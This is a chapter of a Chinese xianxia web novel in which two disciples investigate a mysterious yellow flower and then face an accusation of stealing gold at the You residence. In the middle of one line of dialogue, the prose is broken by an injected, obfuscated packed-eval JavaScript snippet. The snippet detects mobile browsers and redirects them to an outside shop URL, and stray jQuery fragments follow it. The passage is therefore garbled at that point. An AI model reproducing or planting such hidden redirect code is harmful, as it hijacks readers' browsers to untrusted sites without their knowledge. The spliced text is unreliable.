翌日,天气晴。
陈春水与陈素再次去了阿花的花圃。
阿花依旧打扮得十分艳丽,穿梭在花丛中,给花儿浇水。
陈春水蹲下来盯着这黄花瞧了半天,也瞧不出什么不对劲。
陈素站在一旁,问道:“可有看出什么?”
陈春水摇摇头。
这花只有黄色一色,陈春水在前世从未见过,陈春水原本想着可能是因为世界的不同,所以花也不同。
今日她来的路上,便特意观察来一下其余府邸的花草种植情况。
无论在什么地方,生活中有情调的人都不少。
何况白帝城中心住着的大部分人都是人闲钱多的主,也乐意把自己种的一些花展示出来。
陈春水看了一圈,其实种的花也就是她前世见的那些———凌霄花,月季,蔷薇,五角星花等等。
陈春水反复确认自己确实没有在其余的地方见到过这种黄色的花,便起身,问道:“阿花,你种的这黄花,可是百合?”
阿花放下了手中的水壶,摇摇头,道:“并不是,百合不长这样。”
“那这是什么花,我从未见过,很是好奇。”陈春水道。
阿花食指弯曲,抵住下巴,沉思了一会,道:“其实我也不知道。”
“啊?”
“这花并不是我买的,而是我从外边挖回来的。”阿花道。
“外来引进物种?”陈春水DNA动了。
“呃……也算?”阿花道。
“应该就在前几年,我外出游玩,去到了白帝城边上一个叫许县的地方,在一个山坡上发现了这黄花。”阿花点点头,道。
“所以是野花对吧?”陈春水若有所思道,“漫山遍野都是这种野花啊?”
阿花摇摇头,道:“虽然是野花,但是漫山遍野只有这一株花。”
“所以你就挖回来了?”陈素的眼睛睁大了。
“是啊,”阿花理所当然道,“这是野花不是家花,挖回来也不犯法吧?”
陈春水看着如今漫地的黄花,难得沉默了一下。
陈素稍稍犹豫,开口问道:“你不害怕?”
“害怕什么?”
“就,只有这一株野花,不觉得奇怪吗?”陈素道。
“哦,”阿花想了想,觉得确实有道理,“挖的时候没想过,现在你这么说我倒是真觉得那个时候的自己胆子挺大的,哈哈哈哈。”
阿花笑了起来:“不过,现在这遍地黄花也没有怎么样我,想来是没有危险吧。”
陈春水与陈素对视一眼,点了点头。
“那你当时挖这花的时候,有什么奇怪的现象吗?”陈春水问道。
阿花琢磨出味道来了,惊呼道:“你们不会还在怀疑我的小黄花吧?”
“它真的不可能让树结不了果的,你们相信我。”
“我们现在很相信你。”陈春水道。
随即她话锋一转,道:“但是这里怀疑的对象目前就三个。
“你,黄花,果树。”陈春水伸出手指,挨个点了一下。
“我们相信你,那怀疑对象就只剩下黄花和果树。”
“你觉得会是果树自己不开花结果吗?”陈春水眼神认真,问道。
阿花还真的迟疑了一下,随即又目光清明了,摇摇头,道:“我觉得不是。”
“那就是了,”陈春水点点头,道,“所以我们现在要调查黄花是不是凶手。”
“就没有其余的怀疑对象了吗?”阿花追问道。
“我们也希望凶手会是其余的怀疑对象,”陈春水又蹲下身去,歪着头,瞧了瞧那黄花的花瓣,道,“不过,现在没有更多线索。”
又是无功而返的一个上午。
陈春水走在街上,都不免有些丧气了。
陈素见状,道:“师妹,你无需太着急,完成任务总是需要时间的。”
陈春水苦笑了一下,点点头,道:“知道了师兄,我还是得学习一下你的松弛啊。”
陈春水这话毫无阴阳怪气之意,陈素听了也只是淡淡地笑了笑,道:“要是急有用我也就急了,不过这不是急没用嘛……”
“事缓则圆,说不定,明日就会有新的线索浮出水面了。”陈素道。
陈春水伸了个懒腰,沐浴着阳光,眼睛微眯了起来,闻言点了点头,道:“你说得对,我们还是先回游府用膳吧!”
—————————
游府。
今日游清宜难得露了面,陈春水见到他来的时候还觉得惊奇。
游清宜脸色很臭,走路带着闪电,游伯亦步亦趋地跟着他,脸上的神色也有些担忧。
作为这一桌年轻修士中的大家长,谢余察言观色的本领早已练成,此时见游清宜与游伯表情不自然,便主动开口问道:“游伯,可是府上发生什么事了?”
游伯连忙上前了几步,道:“是啊,临渊君,你直觉真准。”
“不瞒你说,我们今日发现府中的金条和金制的饰品丢失了很多。”游伯道。
此话一出,桌上的所有人都停下了筷子。
游府这么大的府邸,遭窃可不是小事,尤其这事还是发生在他们一行人入住游府后,更不容小觑了。
而陈春水和陈素则是迅速地对视了一眼,都从彼此的眼底看出了疑惑。
怎么又是金?
这举动自然没逃过坐在陈春水边上的谢余。
他不动声色地敛下自己的私想,问道:“此事非同小可,不知府内可有什么头绪?”
游府既是大府,那么一般就不容易遭窃,何况府中还有多位金丹修士,也不是当摆设的。
不料,游伯一脸难言地摇摇头,道:“诸位金丹修士并未有什么发现,这金条就像是凭空消失了一般。”
众人都沉默了。
因为白帝城三宗的存在,白帝城中不会允许金丹以上的修士久留其中,既然金丹修士都未发现,那就很奇怪了。
游清宜一直紧紧盯着陈春水,陈春水现在是一瞧到游清宜就饶有兴趣。
她突而开口,打破了沉默。
“你一直看我做什么?”陈春水右手托着下巴,笑意盈盈地盯着游清宜。
游清宜冷笑一声,道:“就失窃来说,无非两种情况,盗贼与家贼,按白帝城的规定,金丹修士都无法察觉这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795281|206754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事,自然不会是盗贼了,那就只能是家贼。”
游伯是个老油条,听得出游清宜是话有所指,但无论是出于对自己少爷朋友的信任,抑或是对于修士的尊敬,都让游伯心中警铃大响。
他惶恐地扯了扯游清宜的袖子,小声道:“少爷,你快别说话了。”
游清宜横惯了,才不理游伯,继续道:“我说的就是你!”
这一句话出,不光是陈春水本人惊得要笑出声,其余人也各有反应。
仇一娇和仇一鸣都惊得眼睛睁大了,作为陈春水的好姐姐,仇一娇已经笑意盈盈地等着看好戏了。
虞青竹一直沉默,此时也终于开口,语气略带警告,道:“师弟,不要乱说话。”
游清宜的脸上一下子就露出了委屈的神情。
有了虞青竹开口,谢余自然不用说什么了。
于是他只是用传音术稍安抚了陈春水几句,后者回了他一个狡黠的笑容。
“我也没乱说嘛,”游清宜不太服气,声音变小了,“之前她就吵着闹着要来我家,我还不能怀疑她了……”
游清宜这话太小孩子气了,是对着虞青竹说的。
陈春水笑得举起双手作投降状,道:“可以,怎么不可以。”
“不过我连金丹都没有,与你府中人都不熟悉,怕是做不了家贼哦。”陈春水道。
“我不信。”游清宜突而开口道。
“啥?”陈春水没听懂。
游清宜一下情绪激动起来,往桌上环视了一圈,突而一拍桌子,站了起来。
众人被那声轻响摄了一下,齐齐抬头看向游清宜。
“我早就想说了,”游清宜道,“你们一个两个都在春闱的时候隐藏实力。”
“尤其是你,陈春水!”游清宜怒了,“还说自己没有金丹,在春闱的时候主动认输不过是想让我放松警惕,然后好被你炸个满堂黑!”
陈春水没料到游清宜居然会提起这件事,也没想到他还会记得这场她凭取巧获胜的比赛。
“我看,你肯定是听从了拂云宗的指示,在那里伪装,包括那日赢了度衡君,看似取巧,实际上就是扮猪吃老虎。”
天地良心啊,陈春水都不知道说什么了。
“可我真的都是取巧,我不是金丹……”
话落,陈春水都有些不好意思了,她的修为的确是众内门弟子中最低的。
仇一娇笑够了,做了件好事。
她伸手过去,在众目睽睽之下,探了探陈春水的修为,道:“她没骗你,她的确不是金丹。”
随即她又道:“既然你说到了,索性我们也透个底,我和仇一鸣都是金丹,这位陈素师兄也是吧?”
陈素点点头。
仇一娇继续道:“那你和你师姐自然不必多说了,天才的名声都打响了整个白帝城了,必然是金丹。”
“至于临渊君……”仇一娇有些揶揄地看了谢余一眼,眉一挑,道:“拿到本命剑大概是一步化神了吧。”
又听到了本命剑,陈春水的身体不由得动了一下。
仇一娇笑了笑,道:“虽然与我们是平辈,但也不能算成我辈中人,得排除在外。”